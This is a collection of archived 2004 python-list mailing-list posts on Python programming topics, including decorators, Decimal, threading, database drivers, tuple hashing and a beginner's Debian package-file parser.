07:39:46 -0500 Subject: 'telegraphy' as a means of data entry In-Reply-To: References: Message-ID: <20040913123946.GG20186@unpythonic.net> On Sun, Sep 12, 2004 at 03:44:03PM +0200, Fredrik Lundh wrote: > also note that unlike Peter's example, the time attribute contains > the time when the event was generated, not when it reached your > program. Beware! In at least some old versions of Tk, the Windows version used a function TkpGetMS to find the timestamp for an event, and TkpGetMS calls GetTickCount(), which as far as I can tell from the documentation is the wall time now, not when the event was generated. In fact, this code still seems to be in the HEAD revision of tkWinX.c. Well, it's my own fault for only fixing the bug locally, not filing any kind of bug report with the tcl/tk people. Jeff -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 196 bytes Desc: not available URL: From xv0017python at yahoo.com Sat Sep 18 14:19:35 2004 From: xv0017python at yahoo.com (andresm) Date: Sat, 18 Sep 2004 14:19:35 -0400 Subject: Fwd: [Python-Dev] Strawman decision: @decorator won't change References: Message-ID: Peter Otten wrote: > I took the freedom to forward GvR's mail concerning decorator cosmetics. > I think you should know about it. > > Peter > > ---------- Forwarded Message ---------- > > Subject: [Python-Dev] Strawman decision: @decorator won't change > Date: Wednesday 15 September 2004 23:46 > From: Guido van Rossum > To: Python-Dev > > Anthony Baxter asked me for a pronouncement on whether @decorator will > change to use some other character instead; I kept this open as a > possibility before 2.4b1 (which is tentatively scheduled for Oct 7th). > Given the near-complete silence following my rejection of the J2 > alternative proposal, I don't expect there to be a massive popular > movement to change the character, but I admit I haven't looked for > responses outside python-dev. > > Let's plan on doing the following. If in the next 7 days there's no > indication that some group of users wants to rally for a different > character, the decision to keep @ is made final on Sept 23. To change > the character, somebody will need to start rallying for a different > character, and be able to show signs of significant support by that > date. > > The definition of "significant support" is intentionally left open for > interpretation, I'll review the evidence on the 23rd. > > -- > --Guido van Rossum (home page: http://www.python.org/~guido/) > i realy like the @ sintax, i am a newbie , btw From alban at magproductions.nl Tue Sep 21 09:55:36 2004 From: alban at magproductions.nl (Alban Hertroys) Date: Tue, 21 Sep 2004 15:55:36 +0200 Subject: Psycopg and threads problem In-Reply-To: References: <0fidnS729Ln4bdPcRVn-hQ@giganews.com> <414EF5BC.9010002@magproductions.nl> Message-ID: <415032D8.7020207@magproductions.nl> Ken Godee wrote: > I would probally pass a queue instance to the worker threads > and in the main thread create a timer method/function that periodically > checks the queue. > > When the worker thread is done doing its thing, do a commit and > queue.put('done') > > When the main thread checks the queue.get(0) = 'done' > have it do it's thing. > > This is the beauty of queues. Apparently I missed the point of queues. I will have a look at them again. Thread programming makes twisted minds, I suspect. ;) From me at privacy.net Sat Sep 25 13:17:15 2004 From: me at privacy.net (Richard Hanson) Date: Sat, 25 Sep 2004 10:17:15 -0700 Subject: Module Pygame - "FadeOut" text References: Message-ID: <8f8bl01m2h3dt2gplj3fb3raojjpemt2i3@4ax.com> Terry Reedy wrote: > "Askari" wrote in message > news:Xns956E4F8F8C192askariaddressNonVali at 207.35.177.135... > > (Help for Pygame module) > > There is a separate mailing list for Pygame, a third-party package. > It can be accessed as a newsgroup via news.gmane.org > as gmane.comp.python.pygame. Is it possible that the OP is missing that news.gmane.org *is* a newsserver? I'm not quite able to divine his objection to the repeated quite civil and helpful suggestions from you and others -- nor can I deduce his definition of "mail list." (No need to reply to this post; I'm merely trying to understand the OP's difficulties...?) Richard Hanson -- sickoldfartnewsguycom From http Sun Sep 5 17:27:45 2004 From: http (Paul Rubin) Date: 05 Sep 2004 14:27:45 -0700 Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <41374cfb$0$22750$db0fefd9@news.zen.co.uk> <1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com> <1094359182.57429@yasure> Message-ID: <7xpt50v226.fsf@ruckus.brouhaha.com> "Donn Cave" writes: > I expect it's used relatively infrequently, and for different > reasons. "if len(info) == 5", for example - just from that > line from a relatively popular Python application, would you > guess info is a list, or a tuple? if I say: def f(*args): print len(args) I'd certainly expect to receive args as a tuple, and would still want to be able to find its length. From bradtilley at usa.net Wed Sep 15 14:35:20 2004 From: bradtilley at usa.net (Brad Tilley) Date: Wed, 15 Sep 2004 14:35:20 -0400 Subject: See exactly what a function has returned In-Reply-To: References: <4a0cafe204091510512fc955f9@mail.gmail.com> Message-ID: <41488B68.5050101@usa.net> Peter Grayson wrote: > This function does not do what you are expecting; type(function) does > not return the type that function returns, it returns the type of the > object passed in. > > def foo(): > return 42 > > >>>>print foo > > > >>>>print type(foo) > > > > Because Python is a dynamically typed language, it is not possible for > the interpreter to know what type of object a function returns without > executing it. In fact, it is possible for a function to return > different kinds of things. For example: > > def bar(x): > if x == 0: > return 42 > elif x== 1: > return "Forty-two" > else: > return None > > In a statically typed language, like C, we neccessarily know what type > of thing is returned and we know it at compile-time. In Python, the > type of the returned object is only bound at run-time. In practice, > this means that we usually have to "just know" what a function returns > by knowing the intended semantics of the function. That said, you > could write a function like this that tells you about the return type > of a function for a given invocation of that function ... > > def characterize(f, *args): > r = f(*args) > print type(r) > > >>>>characterize(bar, 0) > > > >>>>characterize(bar, 1) > > > >>>>characterize(bar, 2) > > > > Hope this helps. > > Pete Yes, it was very helpful. Thanks Pete. From aahz at pythoncraft.com Thu Sep 23 15:08:53 2004 From: aahz at pythoncraft.com (Aahz) Date: 23 Sep 2004 15:08:53 -0400 Subject: Why not FP for Money? References: Message-ID: In article , Carlos Ribeiro wrote: > >PEP327 also does mention it: > >http://www.python.org/peps/pep-0327.html#explicit-construction: >""" >So, the accepted solution through c.l.p is that you can not call >Decimal with a float. >""" > >So, in order to construct a Decimal, I need to write something like: > >>>> a = decimal.Decimal('35.72') >>>> b = decimal.Decimal('1.73') >>>> a+b >Decimal("37.45") Not sure of precise syntax (haven't tried 2.4 yet), but this should work: a = decimal.from_float(35.72) -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "A foolish consistency is the hobgoblin of little minds, adored by little statesmen and philosophers and divines." --Ralph Waldo Emerson From firstname at lastname.pr1v.n0 Thu Sep 9 11:17:15 2004 From: firstname at lastname.pr1v.n0 (Morten Reistad) Date: Thu, 9 Sep 2004 17:17:15 +0200 Subject: Xah Lee's Unixism References: Message-ID: In article , Anne & Lynn Wheeler wrote: >Morten Reistad writes: >> It was an upgrade from 56k. The first versions of NSFnet was not >> really scalable either; noone knew quite how to design a erally >> scalable network, so that came as we went. > >we had a project that i called HSDT >http://www.garlic.com/~lynn/subnetwork.html#hsdt > >for high-speed data transport ... to differentiate from a lot of stuff >at the time that was communication oriented ... and had real T1 (in >some cases clear-channel T1 w/o the 193rd bit) and higher speed >connections. It had an operational backbone ... and we weren't allowed >to directly bid NSFNET1 .... although my wife went to the director of >NSF and got a technical audit. The technical audit summary said >something to the effect that what we had running was at least five >years ahead of all NSFNET1 bid submissions to build something new. In 1987 T1's(or E1's in this end of the pond) were pretty normal; T3's was state of the art. But it is not very difficult to design interfaces that shift the data into memory; and 1987'is cumputers could handle a few hundred megabit worth of data pipe without too much trouble; but you needed direct DMA access, not some of the then standard busses or channels. IBM always designed stellar hardware for such things; what was normally needed was the software. To see what Cisco got away with regarding lousy hardware (GS-series) is astonishing. There was a large job to be done to handle routing and network management issues. BGP4 didn't come out until 1994, nor did a decent OSPF or SNMP. >one of the other nagging issues was that all links on the internal >network >http://www.garlic.com/~lynn/subnetwork.html#internalnet > >had to be encrypted. at the time, not only were there not a whole lot >of boxes that supported full T1 and higher speed links ... but there >also weren't a whole lot of boxes that support full T1 and higher >speed encryption. If you could do it hardware-assisted you could do T1s in 1987; but in software you would have had large problems. >a joke a like to tell ... which occured possibly two years before the >NSFNET1 RFP announcement ... was about a posting defining "high-speed" >.... earlier tellings: >http://www.garlic.com/~lynn/94.html#33b High Speed Data Transport (HSDT) >http://www.garlic.com/~lynn/2000b.html#69 oddly portable machines >http://www.garlic.com/~lynn/2000e.html#45 IBM's Workplace OS (Was: .. Pink) >http://www.garlic.com/~lynn/2003m.html#59 SR 15,15 >http://www.garlic.com/~lynn/2004g.html#12 network history -- mrr From peter at engcorp.com Sat Sep 25 21:54:46 2004 From: peter at engcorp.com (Peter Hansen) Date: Sat, 25 Sep 2004 21:54:46 -0400 Subject: regular expression for integer and decimal numbers In-Reply-To: References: Message-ID: gary wrote: > Peter Hansen wrote in message news:... >>Examples, including the most extreme cases you want to handle, >>are always a good idea. > > Here is an example of what I will be dealing with: > """ > TOTAL FIRST DOWNS 19 21 > By Rushing 11 6 > By Passing 6 10 > By Penalty 2 5 > THIRD DOWN EFFICIENCY 4-11-36% 6-14-43% > FOURTH DOWN EFFICIENCY 0-1-0% 0-0-0% > TOTAL NET YARDS 379 271 > Total Offensive Plays (inc. times thrown passing) 58 63 > Average gain per offensive play 6.5 4.3 > NET YARDS RUSHING 264 115 > """ > > I can only hope that they were nice and put a leading zero in front of > numbers less than 1. Good example of the input. Now all you need to do is tell us exactly what kind of output you would expect to come from the routine which you seek. ;-) -Peter From chrisks at NOSPAM.udel.edu Sun Sep 19 19:28:26 2004 From: chrisks at NOSPAM.udel.edu (Chris S.) Date: Sun, 19 Sep 2004 23:28:26 GMT Subject: PyYaml? In-Reply-To: <4zh3d.1816$qA6.1123@newsread3.news.pas.earthlink.net> References: <2IO2d.1086$HH5.1025@trndny05> <87r7oyfy78.fsf@blakie.riol> <4zh3d.1816$qA6.1123@newsread3.news.pas.earthlink.net> Message-ID: Andrew Dalke wrote: > YAML and pickles address two different but related domains. > Pickle attempts to serialize and deserialize arbitrary > Python data structures. YAML serializes a subset of the > data structures that can be made portable, with it seems > some hooks for new datatypes. > > Here's a test. Can you do the following in YAML and do > so securely? (Untested code.) [snip code] Conceptually, yes. That code would work fine with a full YAML implementation. Admittedly, the current pure-Python implementation is not yet complete. I didn't mean to imply that the current YAML implementations were drop-in replacements for Pickle, only that the concept of YAML is deserving of more attention. From aleaxit at yahoo.com Mon Sep 6 03:34:03 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 6 Sep 2004 09:34:03 +0200 Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <41374cfb$0$22750$db0fefd9@news.zen.co.uk> <1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com> <1094359182.57429@yasure> <1gjnwv2.jj0hvbov5tc1N%aleaxit@yahoo.com> <413BC4DA.9050401@cosc.canterbury.ac.nz> Message-ID: <1gjoqbo.1pz7pzna0noqlN%aleaxit@yahoo.com> greg wrote: > Alex Martelli wrote: > > Roy Smith wrote: > > > > > Tuple (and string) equality is based on content too. So what? I can > > > give my data class an __eq__ method, and then my class instance equality > > > would also based on content. > > > > And your class's instances wouldn't then be hashable any more unless > > they defined a __hash__ method -- have you tried? > > And even if you did give it a __hash__ method, you wouldn't > be able to get it to work properly as a dict key. It's an > inescapable fact of the way dicts work. Well, it depends on how you define 'properly'. Semantics CAN be respected, it's _performance_ that may disappoint;-). > > > So, to restate my original question, why should my mutable, > > > content-based-eqality class instance be a valid dictionary key, > > > when a list is not? > > It wouldn't be a valid dictionary key. You might be able to fool > Python into accepting it, but it would malfunction. It might be made to function, just VERY slowly: def __hash__(self): return 42 Containing this will make ANY class hashable no matter what. But you'd better buy a new and very fast machine if you're gonna use multiple instances of such a class to key into a dictionary...;-) Alex From ed-no at spam-eepatents.com Mon Sep 6 18:55:30 2004 From: ed-no at spam-eepatents.com (Ed Suominen) Date: Mon, 06 Sep 2004 15:55:30 -0700 Subject: ANN: WxInter Message-ID: WxInter is a drop-in replacement for TkInter, providing user-transparent wxPython-based replacements for each and every part of the Tkinter class library. Because wxPython can do anything that the ancient and stagnant TkInter can do (but with a themable, modern window appearance), legacy code will still run, looking better than ever, and Python's last connection to the Tcl/TK albatross will be forever broken. OK, I just made all this up. But why couldn't it happen? I'd even be tempted to code it myself, but I'm sure others with some wxPython experience could do it much faster and better. --- Ed Suominen Registered Patent Agent Open-Source Software Author (yes, both...) Web Site: http://www.eepatents.com From don't at spam.me Wed Sep 8 21:14:07 2004 From: don't at spam.me (John Bauman) Date: Wed, 8 Sep 2004 21:14:07 -0400 Subject: A historical question References: Message-ID: <96acnXjt1cUtM6LcUSdV9g@ptd.net> "Duncan Booth" wrote in message news:Xns955E8441C8304duncanrcpcouk at 127.0.0.1... > Jerald wrote in news:chmphe$21tc$1 at ulysses.noc.ntua.gr: > > > According to Google, in April 1994 Guido posted complaining about some of > the > inefficiencies in the bytecode interpreter: > > http://groups.google.co.uk/groups?selm=9404120719.AA03729%3Dguido%40voorn.cwi.nl > > I doubt very much whether there has ever been any implemention of Python > that > didn't use a bytecode of some form. It would be a very perverse way to try > to > write a language. >From some things I read about Parrot, I'm under the impression that Ruby (and Perl, partially) don't (yet) use bytecodes (at least internally - they may be used as an external representation). Instead, the program is parsed into an abstract syntax tree and the program is interpreted by walking the tree. See http://en.wikipedia.org/wiki/Interpreted_language . The same method would probably work with Python. From ismaelherreragasser at hotmail.com Wed Sep 22 23:06:02 2004 From: ismaelherreragasser at hotmail.com (Ismael Herrera) Date: Wed, 22 Sep 2004 23:06:02 -0400 Subject: newbie evaluation Message-ID: Hi , i am new to python , and this is my first wanna-be program, it would help me a lot if you point me my mistakes or bad design, bad practice or an easier , faster ,cleaner or better way to program since dont want to stick with bad practices. The point of the mini program is to store the debian package database(wich is in a file) in a list of objects instead of just text , for easy manipulation. Later i will transform it to xml then to database schema,to make advances queries against the package manager,but thats later.(not in this app) The database file is a serie of entries(packages) that looks like this: Package: tcpd Priority: important Section: base Installed-Size: 196 Maintainer: Anthony Towns Architecture: i386 Source: tcp-wrappers Version: 7.6.dbs-5 Replaces: libwrap0 (<< 7.6-8) Depends: libc6 (>= 2.3.2.ds1-4), libwrap0 (>= 7.6-1.1), debconf (>= 0.5) | debconf-2.0 Conflicts: netbase (<< 3.16-1) Size: 71974 Description: Wietse Venema's TCP wrapper utilities Wietse Venema's network logger, also known as TCPD or LOG_TCP. . These programs log the client host name of incoming telnet, ftp, rsh, rlogin, finger etc. requests. Security options are: access control per host, domain and/or service; detection of host name spoofing or host address spoofing; booby traps to implement an early-warning system. each package is separated by a \n\n. Dont forget to copy/paste it in your text editor for easy reading #!/usr/bin/python import re #each package in the file class dpackage(object): PKG = 'Package' PRI = 'Priority' SEC = 'Section' INS = 'Installed-Size' MAI = 'Maintainer' ARQ = 'Architecture' VER = 'Version' DEP = 'Depends' REQ = 'Recommends' SIZ = 'Size' DES = 'Description' def __init__(self): self.package = None self.priority = None self.section = None self.installedSize = None self.mainteiner = None self.arquitecture = None self.version = None self.depends = [] self.recoments = [] self.size = None self.description = None def __str__(self): return ''' Package = %s Priority = %s Section = %s Installed Size = %s Mainteiner = %s Arquitecture = %s Version = %s Depends = %s Recoments = %s Size = %s Description = %s ''' % \ (self.package,self.priority,self.section,self.installedSize, self.mainteiner,self.arquitecture,self.version,self.depends, self.recoments,self.size,self.description) class dpackagedb(object): def _init__(self): self.db = [] def load(self): try : #open the database file f = open('/var/lib/dpkg/available','r') except : raise IOError #temporary list to store package entries tmpls = f.read().split('\n\n') #make package objects for each package self.db = map(self.makeobject,tmpls) del self.db[len(self.db)-1] f.close() def makeobject(self,item): p = dpackage() entry = self._processitem(item) p.package = entry.get(dpackage.PKG) p.priority = entry.get(dpackage.PRI) p.section = entry.get(dpackage.SEC) p.installedSize = entry.get(dpackage.INS) p.mainteiner = entry.get(dpackage.MAI) p.arquitecture = entry.get(dpackage.ARQ) p.version = entry.get(dpackage.VER) p.depends = entry.get(dpackage.DEP) p.recoments = entry.get(dpackage.REQ) p.size = entry.get(dpackage.SIZ) p.description = entry.get(dpackage.DES) return p def _processitem(self,item): result = [] iter = re.finditer('.*\n',item) for x in iter : xstr = x.group() if xstr.startswith('Description'): # get from description to the end(exceptional case) result.append(item[x.start():]) break else : result.append(xstr.strip()) # normal field # get field : value pairs result = dict([ item.split(':',1) for item in result]) # exceptional case recommends = result.get('Recommends') if recommends:result['Recommends'] = recommends.split(',') # exceptional case depends = result.get('Depends') if depends : result['Depends'] = depends.split(',') return result #if __name__ is '__main__': #test d = dpackagedb() d.load() for x in d.db: if x: print x #print d.db From roy at panix.com Sun Sep 5 23:06:17 2004 From: roy at panix.com (Roy Smith) Date: Sun, 05 Sep 2004 23:06:17 -0400 Subject: Fastest way to loop through each digit in a number? References: Message-ID: In article , Rune Strand wrote: > Hi, > If I have a lot of integers and want do something with each digit as > integer, what is the fastest way to get there? > > Eg. Make 12345 into an iterable object, like [1,2,3,4,5] or "12345" Does it matter what order you process the digits, i.e. least-significant first vs. most-significant first? If you can do least first, then you might be best off doing something straight-forward like: i = 12345 while i: digit = i % 10 i = i / 10 print digit although, with the new-style division, I'm not sure if you want / or //. From clifford.wells at comcast.net Sat Sep 11 05:32:30 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Sat, 11 Sep 2004 02:32:30 -0700 Subject: Postgresql - Preferred Python Library In-Reply-To: References: <4140e595$0$22790$5a62ac22@per-qv1-newsreader-01.iinet.net.au> Message-ID: <1094895150.26967.11.camel@devilbox.devilnet.internal> On Fri, 2004-09-10 at 23:04 -0700, Tim Roberts wrote: > Cliff Wells wrote: > >On Thu, 2004-09-09 at 16:21, Graeme Matthew wrote: > >> > >> I have noticed that there are a numbe rof client libraries for connecting to > >> Postgres. > >> > >> Can anyone tell me what is the recommended Python library for database > >> connections > > > >I'd strongly recommend psycopg. I've used both psycopg and the pgsql > >module and found psycopg to be much more stable. > > So have I, and I wish I could quantify the difference. It's not like > pyPgSQL crashes on me every day, but there's something intangible about > psycopg that appeals to me. I've switched to it everywhere. My tangible difference was that a script I have that inserts about 40,000 records into a table (as a single transaction) could never complete (hard crash) with the standard pgsql module but completes without a hitch with psycopg. Other than that I don't have a problem with it . Cliff -- Cliff Wells From vng1 at mac.com Sat Sep 25 11:05:09 2004 From: vng1 at mac.com (vng1 at mac.com) Date: Sat, 25 Sep 2004 11:05:09 -0400 Subject: Win32-COM pass by ref for long arguments In-Reply-To: References: Message-ID: <4B2816D8-0F04-11D9-8A90-000A95C5186E@mac.com> I figured it out eventually. It wasn't clear from any of the Python/COM documentation that pass byref variables are returned as 'extra' values in the return value. So a COM function like: Function OpenTable(ByRef hTableRef As Long, ByVal TableNo As Long) As Boolean becomes translated to this: def OpenTable( discardedhTableRef, tableNo): # COM bridge does stuff here return (boolResult, hTableRef) Well - it wasn't obvious to _me_ anyway. vic On 24-Sep-04, at 04:16 PM, Stephen Prinster wrote: > Victor Ng wrote: >> My call is using an initial value of pythoncom.Empty for hTableRef, >> but I'm getting the following stacktrace from within the PythonCOM >> library: >> > Have you tried pythoncom.Missing instead of pythoncom.Empty? I don't > know what the difference is, but I remember seeing a comment in a > makepy-generated file about trying both because sometimes one works > better than the other. > -- > http://mail.python.org/mailman/listinfo/python-list > -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 3901 bytes Desc: not available URL: From chrisks at NOSPAM.udel.edu Tue Sep 21 16:36:00 2004 From: chrisks at NOSPAM.udel.edu (Chris S.) Date: Tue, 21 Sep 2004 20:36:00 GMT Subject: python ides In-Reply-To: References: Message-ID: kevin wrote: > just try it, =) > > http://wingware.com/downloads Aside from being proprietary, how is WingIDE different from SPE (spe.pycs.net)? > full callback tip SPE's got that. > autocompletion support SPE's got that. > if the ide doesnt know what type is the object(cause of dinamic typing),you > can still use code assist, for example : > > def myfunction(unknowntype): > > unknowntype. ???? > > and you know that unknowntype is a Cookie instance, then type ' Cookie. ' > and you will get the assistance What? > complete code-object browser SPE's got that. > and finaly ,a super complete debuger , with support for plone/zope , > wxwindows and a lot of advanced options. I'll give you this one, this I don't think SPE has a traditional "debugger". Although to be fair, I've never needed one for Python. SPE also integrates with WxGlade and Blender for Gui design and 3D design. From PeterAbel at gmx.net Thu Sep 9 17:25:35 2004 From: PeterAbel at gmx.net (Peter Abel) Date: 9 Sep 2004 14:25:35 -0700 Subject: Remove items from a list References: <21064255.0409081005.2dadcdb@posting.google.com> Message-ID: <21064255.0409091325.22c0e7f5@posting.google.com> Duncan Booth wrote in message news:... > PeterAbel at gmx.net (Peter Abel) wrote in > news:21064255.0409081005.2dadcdb at posting.google.com: > > > When you iterate over a list with a for-loop as you do it, > > you get a copy of "each" item of the list. What you're doing > > is deleting this copy, which is bound to the variable *each*. > > This explanation is badly wrong. > > None of the items in the list is copied, nor are any objects (copied or > otherwise) being deleted. A new reference is created to each of the items, > and that reference is deleted either by the 'del' statement, or when each > is rebound or goes out of scope. > > The objects themselves are deleted only when the last reference to the > object is deleted (which doesn't happen here). This explanation is correct. My english is not yet good enough to enunciate in that brilliant way you did but I promise I'll work hard on it (mea culpa) :-) Peter From roy.OMITTHISBIT.ayres at dsl.pipex.com Tue Sep 14 13:36:11 2004 From: roy.OMITTHISBIT.ayres at dsl.pipex.com (Rgemini) Date: Tue, 14 Sep 2004 18:36:11 +0100 Subject: avi file duration, frame-count etc Message-ID: <2qoog9F12856dU1@uni-berlin.de> Does anyone know of a simple Python module that would let me read out the playing duration of an avi file? Or a way of getting the information using the os? I use WinXP & Win98. The Multimedia Services documentation doesn't explicitly mention video files and Mr Google wasn't as helpful as usual ... Rgemini, who shall remain sigless. (reply-to spamtrapped) From carribeiro at gmail.com Fri Sep 24 20:59:32 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Fri, 24 Sep 2004 21:59:32 -0300 Subject: Why not FP for Money? In-Reply-To: References: Message-ID: <864d3709040924175936a6cf90@mail.gmail.com> On 25 Sep 2004 00:35:55 GMT, Bengt Richter wrote: > [ regarding context ] > [1] Sorry I haven't read the specs, I just haven't goten to it ;-/ That's it -- there's a context object. And that's what should be used for fixed point too. I also liked your 10d3 example -- it's a nice extension to the basic syntax. A last note: unless dictated by context otherwise, I think that adding two fixed point numbers should round/truncate to the smallest number of decimal places, as in: 12.34d + 10.001d --> 32.34 -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From peter at engcorp.com Sat Sep 11 22:26:29 2004 From: peter at engcorp.com (Peter Hansen) Date: Sat, 11 Sep 2004 22:26:29 -0400 Subject: 'telegraphy' as a means of data entry In-Reply-To: References: Message-ID: <8YGdnbbBS6xILt7cRVn-iA@powergate.ca> Elaine Jackson wrote: > I need to record the respective times of the events in a sequence of > presses/releases of a particular key on the computer keyboard. The key in > question should also make a sound when depressed (perhaps a forlorn sigh - tee > hee). On the face of it, it seems like it should be fairly straightforward to > achieve this with a suitable combination of ingredients from Tkinter, time and > winsound. Does this have to work regardless of what else is going on on the computer, or is it okay if it works only when the window for this particular application is active? (In other words, it's easy to do if the keypresses go only to this program, but if you want to capture *all* keypresses at all times, you can't do it, AFAIK, using just a GUI toolkit like wxPython or Tkinter... you have to use an OS hook of some kind.) -Peter From lynn at garlic.com Fri Sep 3 12:45:24 2004 From: lynn at garlic.com (Anne & Lynn Wheeler) Date: Fri, 03 Sep 2004 10:45:24 -0600 Subject: Xah Lee's Unixism References: <10jepndi1en2id8@corp.supernews.com> Message-ID: SM Ryan writes: > It's nice to know people still have time to work on really important things. was also responsible for adeventure inside the company ... recent pst in a.o.m http://www.garlic.com/~lynn/2004k.html#38 Adventure slight reference to the internal network in above http://www.garlic.com/~lynn/subtnetwork.html#internalnet one of the arguments we used in proposed security sweeps to find all copies ... was that a public entertainment area would be less of a problem than attempting to outright & totally outlaw such activities. for one thing a single (trusted?) entertainment area would use less disk space than lots of disguised (to evade security sweep) individual copies. random past adventure threads http://www.garlic.com/~lynn/98.html#56 Earliest memories of "Adventure" & "Trek" http://www.garlic.com/~lynn/99.html#169 Crowther (pre-Woods) "Colossal Cave" http://www.garlic.com/~lynn/2000b.html#72 Microsoft boss warns breakup could worsen virus problem http://www.garlic.com/~lynn/2000d.html#33 Adventure Games (Was: Navy orders supercomputer) http://www.garlic.com/~lynn/2001m.html#14 adventure ... nearly 20 years http://www.garlic.com/~lynn/2001m.html#17 3270 protocol http://www.garlic.com/~lynn/2001m.html#44 Call for folklore - was Re: So it's cyclical. http://www.garlic.com/~lynn/2003f.html#46 Any DEC 340 Display System Doco ? http://www.garlic.com/~lynn/2003i.html#69 IBM system 370 http://www.garlic.com/~lynn/2003l.html#40 The real history of computer architecture: the short form http://www.garlic.com/~lynn/2004c.html#34 Playing games in mainframe http://www.garlic.com/~lynn/2004g.html#2 Text Adventures (which computer was first?) http://www.garlic.com/~lynn/2004g.html#7 Text Adventures (which computer was first?) http://www.garlic.com/~lynn/2004g.html#49 Adventure game (was:PL/? History (was Hercules)) http://www.garlic.com/~lynn/2004g.html#57 Adventure game (was:PL/? History (was Hercules)) -- Anne & Lynn Wheeler | http://www.garlic.com/~lynn/ From adalke at mindspring.com Fri Sep 10 20:44:31 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Sat, 11 Sep 2004 00:44:31 GMT Subject: string formatting with mapping & '*'... is this a bug? In-Reply-To: <1gjwo5q.meek2hr5madpN%aleaxit@yahoo.com> References: <20040909140649.6d2eff6e@gypsy.pfortin.com> <20040909152328.2233c917@gypsy.pfortin.com> <1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com> <20040909183705.69696290@gypsy.pfortin.com> <1gjw1ih.2x26851nz2m54N%aleaxit@yahoo.com> <20040910064659.7a1c66af@gypsy.pfortin.com> <1gjwfl1.i046071x80ul9N%aleaxit@yahoo.com> <20040910093156.4cfcb6ff@gypsy.pfortin.com> <1gjwo5q.meek2hr5madpN%aleaxit@yahoo.com> Message-ID: Alex > Ah, sorry, my favourite idiom to avoid the boilerplate of > > def __init__(self, fee, fie, foo, fum): > self.fee = fee > self.fie = fie > self.foo = foo > self.fum = fum A "clever" (a-hem :) solution can use decorators. It's hard to make the call signature correct though. Here's a hack solution using exec, which is the wrong way to do it. For example, it gets the nested scope wrong for the context of the original function. But I'm not Raymond Hettinger and I can't fiddle Python's byte code well enough for a more correct solution. # Ugly hack! Do not use this! Only for grins! def store_args(f): co = f.func_code # I think this is right way to get the parameter list argnames = co.co_varnames[:co.co_argcount] if argnames[:1] != ("self",): raise TypeError("first parameter must be 'self'") argnames = argnames[1:] argdef = list(argnames) if f.func_defaults: start = len(argnames) - len(f.func_defaults) for i in range(len(f.func_default)): argdef[start+i] = "%s = _defaults[%s]" % (argdef[start+i], i) lines = ["def %s(self, %s):" % (f.func_name, ", ".join(argdef))] for argname in argnames: lines.append(" self.%s = %s" % (argname, argname)) lines.append(" return __func(self, %s)\n" % (", ".join(argnames), )) code = "\n".join(lines) g = f.func_globals.copy() g["__func"] = f d = {"_defaults": f.func_defaults} exec code in g, d return d[f.func_name] class Spam: @store_args def __init__(self, x, y, z): pass >>> a = Spam(3,4,5) >>> print a.x, a.y, a.z 3 4 5 >>> b = Spam(z=8,x=6,y=7) >>> print b.x, b.y, b.z 6 7 8 >>> Andrew dalke at dalkescientific.com From roy at panix.com Sun Sep 5 10:35:43 2004 From: roy at panix.com (Roy Smith) Date: Sun, 05 Sep 2004 10:35:43 -0400 Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <41374cfb$0$22750$db0fefd9@news.zen.co.uk> <1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com> <1094359182.57429@yasure> Message-ID: I asked: > How is a class instance's mutability any less of disqualifier for > key-ness than a list's mutability? Benjamin Niemann wrote: > a = [1, 2, 3] > b = [1, 2, 3] > if a == b: > print "List equality is based on content" Tuple (and string) equality is based on content too. So what? I can give my data class an __eq__ method, and then my class instance equality would also based on content. So, to restate my original question, why should my mutable, content-based-eqality class instance be a valid dictionary key, when a list is not? Which part of a list's behavior makes it inherently unusable as a key? I'm not asking about design philosophy, I'm asking about observable behavior. From jianqiz at bigpond.com Wed Sep 29 03:41:26 2004 From: jianqiz at bigpond.com (Michael Zhang) Date: Wed, 29 Sep 2004 07:41:26 GMT Subject: One thread freezes my whole application Message-ID: My project uses Python-2.3.4 + Tkinter + PIL-1.1.4 to retrieve images from UDP server and display those images on a RedHat 9 box. On my GUI there are two buttons: "connection button" is to create a connection to server, listen to any upcoming image packets, and write those data into a buffer; "display button" is to read the data from the buffer and display them in a infinite loop. It's a natual approach to create two threads for each tasks (connection and display) from the base thread (GUI application). The callback for the display button implements a Tkinter canvas. The callback for the connection button is imported from a module created from a C function using swig-1.3.22. For test purpose, I tried to invoke the display thread to display a image from a local file system and then invoke the connection thread to see if two threads can work separately. The problem is when I click the connection button and invoke that connection thread, the whole application (including base thread and display thread) was frozen. What I expected was when one thread is listerning the socket, the display thread should be able to continue its running, and I should be able to invoke other (if any) threads from the GUI base thread. Afterwards, I had to use ps/kill to clean them up. I'm quite new to Python. I started to learn Python and those libraries two months ago just after we chosed this project. Here is my simplified code segments: =============== Code segments Start ============== class displayThread(threading.Thread): # the thread for displaying images def __init__(self, master): threading.Thread.__init__(self) self.master = master def run(self): UI(self.master) # create a Toplevel window to display class connectionThread(threading.Thread): # the thread for connecting to server def __init__(self): threading.Thread.__init__(self) def run(self): Cmodule.create_connection() # Cmodule is created from C class ControlPanel(Frame): # base GUI application from which all those threads are invoked .... def connect(self): # callback for connection button connectionThread().start() def display(self): # callback for display button top = Toplevel() displayThread(top).start() =============== Code segments End ============== What I'm thinking now is above threads code are quite standard and simple, there must be some other subtle issues beyond my knowledge. Could someone help me out about those thread stuff? Thanks! Michael From abra9823 at mail.usyd.edu.au Wed Sep 29 02:03:00 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Wed, 29 Sep 2004 16:03:00 +1000 Subject: extending python Message-ID: <1096437780.415a50144461d@www-mail.usyd.edu.au> hi! does the init function has to have a PyMODINIT_FUNC return type. i am building PyOpenSSL for a pocket pc using embedded visual c++ and i 